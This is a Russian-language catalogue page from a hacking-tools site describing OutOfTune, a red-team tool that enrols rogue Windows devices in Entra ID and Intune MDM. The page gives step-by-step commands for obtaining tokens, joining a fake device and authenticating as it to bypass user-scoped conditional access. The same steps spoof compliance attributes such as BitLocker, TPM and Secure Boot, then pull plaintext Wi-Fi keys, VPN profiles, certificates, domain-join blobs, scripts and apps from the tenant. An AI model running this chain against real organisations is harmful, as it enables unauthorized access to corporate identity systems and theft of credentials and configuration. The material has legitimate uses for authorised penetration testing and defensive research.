Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
OutOfTune — Инструмент для регистрации неавторизованных устройств в Entra ID и Intune MDM. Автоматизирует присоединение устройства, получение токена, регистрацию в MDM и проверку OMA-DM для извлечения политик, учетных данных Wi-Fi, скриптов и приложений, обходя условный доступ. | Kitploit
Инструменты/GitHubGitHub/stra-x/outoftune
Аутентификация и авторизацияПовышение привилегийАнализ уязвимостейЛатеральное перемещениеАудит конфигурацииСбор информацииПост-эксплуатацияТестирование на ПроникновениеБезопасность облачных средМобильная безопасностьУправление идентификацией и доступом (IAM)
3134 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Red Teaming
GitHubstra-x/outoftune

OutOfTune

Инструмент для регистрации неавторизованных устройств в Entra ID и Intune MDM. Автоматизирует присоединение устройства, получение токена, регистрацию в MDM и проверку OMA-DM для извлечения политик, учетных данных Wi-Fi, скриптов и приложений, обходя условный доступ.

Репозиторий
Поделиться

OutOfTune

Вдохновлённый оригинальным Pytune, OutOfTune регистрирует подставное устройство в Entra ID, записывает его в Intune MDM и проверяет полученное состояние соответствия политикам.

Поддерживаются только устройства Windows — это была моя основная цель, возможно, в будущем добавлю другие.

Сопровождающие статьи в блоге:

  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

Требования

root@kitploit:~
pip install -r requirements.txt

Как это работает

Цепочка выполняется по фазам, каждая из которых опирается на состояние, сохранённое в chain_state.json.

root@kitploit:~
drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin
  1. drs-token — получение токена доступа DRS (ROPC или заранее перехваченный)
  2. device-join — регистрация нового объекта устройства в Entra ID, получение сертификата устройства
  3. device-token — аутентификация от имени субъекта устройства, получение токена регистрации Intune
  4. mdm-enroll — SOAP-обнаружение + WS-Trust регистрация, получение клиентского сертификата MDM
  5. mdm-checkin — OMA-DM SyncML проверка связи, загрузка политик, опционально назначение основного пользователя

Использование

1. Получить токен DRS

ROPC (учётные данные известны):

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -p Password1!

Заранее полученный токен:

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. Присоединить устройство к Entra ID

root@kitploit:~
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

Выдаёт <DEVICENAME>.pfx — сертификат устройства. Пароль: password.


3. Получить токен субъекта устройства

root@kitploit:~
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

Аутентифицируется в AAD как объект устройства (не как пользователь). Обходит политики условного доступа, ограниченные пользователем.


4. Зарегистрироваться в Intune MDM

root@kitploit:~
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

Выполняет SOAP-обнаружение конечной точки MDM, затем отправляет запрос на регистрацию WS-Trust PKCS10. Выдаёт <DEVICENAME>_mdm.pfx.

Используйте --profile, чтобы подделать аппаратные/ОС атрибуты устройства, отправляемые в Intune (см. Профили устройств).


5. Проверка связи OMA-DM

root@kitploit:~
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

Запускает цикл OMA-DM SyncML против r.manage.microsoft.com. Intune отправляет конфигурационные профили, назначения приложений и любые другие политики, нацеленные на устройство. После завершения цикла извлечённая информация автоматически отображается.

Если указан -r, токен обновления обменивается на токен доступа manage.microsoft.com и отправляется как Authorization: Bearer в каждом запросе SyncML. Intune читает UPN из этого токена и назначает его в качестве основного пользователя устройства, что приводит к привязке политик соответствия, ограниченных пользователем. Достаточно выполнить один раз с -r, чтобы назначить пользователя; все последующие проверки связи можно запускать без токена обновления.

Без -r у устройства не будет основного пользователя.

После первой проверки связи, если вы не будете проверяться в течение длительного времени (обычно 5–7 дней), устройство может перестать соответствовать политикам из-за политики по умолчанию "Is Active". В зависимости от конфигурации Intune устройство может войти в льготный период перед тем, как быть помеченным как несоответствующее. Если это произойдёт, повторно запустите mdm-checkin. Если вы ранее использовали токен обновления для назначения основного пользователя, повторно отправлять его не нужно, так как основной пользователь теперь хранится в бэкенде Intune.

Флаги

Извлечённая полезная информация


Разбор сохранённых раундов SyncML

Повторный разбор необработанных XML-раундов, сохранённых с --save-syncml, без запуска живой проверки связи.

root@kitploit:~
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

Проверка состояния соответствия

root@kitploit:~
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

Выпускает PRT из сертификата устройства, обменивает его на токен IWService и запрашивает IWService/Devices для получения состояния соответствия устройства и любых правил несоответствия.

Используйте -r с токеном обновления MFA-сессии, если арендатор CA требует MFA для ресурса регистрации.


Загрузка приложений и скриптов

Загружает Win32-приложения и PowerShell-скрипты, назначенные устройству, через IME SideCarGateway. Использует только клиентский сертификат MDM — токен пользователя не требуется.

root@kitploit:~
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
  • PowerShell-скрипты сохраняются в scripts/<PolicyId>.ps1
  • Win32-приложения загружаются с CDN, расшифровываются и извлекаются в apps/<AppName>/

Загрузка скриптов исправления

Загружает скрипты упреждающего исправления (пары обнаружения + исправления), назначенные устройству.

root@kitploit:~
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

Каждая политика сохраняется в remediations/<PolicyId>/, содержащий:

  • detection.ps1 — скрипт обнаружения
  • remediation.ps1 — скрипт исправления
  • params.json — идентификатор политики и любые параметры скрипта

Очистка

Если удаление устройства из Intune не удаётся, удалите его из Entra. После этого оно перейдёт в льготный период в Intune и будет автоматически удалено позже.

Удалить устройство из Intune:

root@kitploit:~
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

Удалить объект устройства из Entra ID:

root@kitploit:~
python OutOfTune.py entra-delete

Проверка прогресса цепочки

root@kitploit:~
python OutOfTune.py status

Профили устройств

Атрибуты устройства, отправляемые в Intune во время регистрации и проверки связи, полностью поддаются подделке через JSON-профиль. Сюда входят аппаратные идентификаторы, версия ОС, производитель и все самоотчётные значения CSP соответствия (BitLocker, Firewall, Defender, TPM, Secure Boot).

root@kitploit:~
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin   # профиль сохраняется в состояние и используется автоматически повторно

Включённые профили

ФайлУстройство
profiles/default.jsonЗначения по умолчанию (VMware / Win10 Enterprise)
profiles/dell_win11_ent.jsonDell Latitude 5540 / Windows 11 Enterprise 23H2

Поля профиля

Все значения CSP DeviceStatus являются самоотчётными и доверяются Intune без независимой проверки. HAS-аттестованные проверки соответствия (BitLockerEnabled, SecureBootEnabled через CSP HealthAttestation) требуют реального TPM и не могут быть подделаны таким образом.


Глобальные флаги

root@kitploit:~
--debug          подробное логирование HTTP + токенов
--proxy <url>    направлять трафик через прокси (например, http://127.0.0.1:8080)

Они указываются перед командой:

root@kitploit:~
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin

Переопределение сертификатов

Если у вас есть сертификаты с предыдущего запуска или вы хотите использовать конкретные PFX-файлы:

root@kitploit:~
python OutOfTune.py device-token      --cert path/to/device.pfx
python OutOfTune.py mdm-enroll        --cert path/to/device.pfx
python OutOfTune.py mdm-checkin       --cert path/to/mdm.pfx
python OutOfTune.py check             --cert path/to/device.pfx
python OutOfTune.py download-apps     --cert path/to/mdm.pfx
python OutOfTune.py get-remediations  --cert path/to/mdm.pfx

Файл состояния

Все выходные данные фаз сохраняются в chain_state.json в рабочем каталоге. Удалите его, чтобы начать заново. Используйте status для просмотра текущего состояния без выполнения чего-либо. Если вы работаете с несколькими устройствами, убедитесь, что у каждого есть свой файл состояния. Файл состояния по умолчанию можно изменить в начале скрипта на то устройство, с которым вы работаете. Будьте осторожны с опциями переопределения сертификатов; они в основном предназначены для отладки.

Благодарности

Огромная благодарность @temp43487580, создателю оригинального Pytune, чьи оригинальные исследования сделали это возможным

  • https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
  • https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
  • https://github.com/secureworks/pytune
Скачать инструмент
ФлагОписание
--cert FILEMDM PFX для использования — имя устройства определяется автоматически из имени файла
-r RTТокен обновления пользователя — устанавливает основного пользователя (требуется только один раз)
-O DIRСохранить извлечённые артефакты в DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json)
--save-syncml DIRСохранять необработанный SyncML XML для каждого раунда в DIR для повторного разбора в автономном режиме
-o FILEЗаписать полный вывод консоли в FILE
КатегорияСохраняется вПримечания
Wi-Fi профилиwifi/<SSID>.xml + _psk.txtПростой текст PSK извлекается, если присутствует
VPN профилиvpn/<name>.xmlПолный ProfileXML
Полезные нагрузки сертификатовcerts/cert_N.b64Зашифрованные PFX-блоб (необработанные, ещё не расшифрованные)
SCEP-запросыотображаютсяИмя модели ЦС, URL запроса
Скриптыscripts/<name>.ps1PowerShell-скрипты, отправленные через OMA-DM
URL-адреса загрузки MSIотображаютсяПрямые ссылки CDN для LOB-приложений
ODJ-блобodj_blob.b64 + odj_strings.txtOffline Domain Join — извлечены читаемые строки
Значения Addadd_values.jsonВсе остальные команды Add (корневые сертификаты ЦС, ввод MDE, конфигурация политик)
Значения Replacepolicy_values.jsonЗначения CSP политик, установленные Intune
ПолеCSPПримечания
os_versionDevDetail/SwVПроверки соответствия минимальной/максимальной версии ОС
os_edition_syncmlWindowsLicensing/Edition4 = Enterprise, 48 = Pro
manufacturerDevInfo/ManНекоторые политики используют белые списки производителей
mac_addressSOAP AdditionalContext/MACВсе нули — очевидный индикатор
hw_dev_id_enrollSOAP AdditionalContext/HWDevID64 шестнадцатеричных символа
bitlocker_statusBitLocker/Status/DeviceEncryptionStatus2 = зашифровано (самоотчёт)
encryption_complianceDeviceStatus/Compliance/EncryptionCompliance1 = соответствует (самоотчёт)
firewall_statusDeviceStatus/Firewall/Status0 = включён (самоотчёт)
secure_boot_stateDeviceStatus/SecureBootState1 = включён (самоотчёт, не HAS-аттестован)
tpm_versionDeviceStatus/TPM/SpecificationVersionНет криптографического доказательства
defender_enabledDefender/Health/DefenderEnabledtrue = работает
defender_versionDefender/Health/DefenderVersionНекоторые политики требуют минимальной версии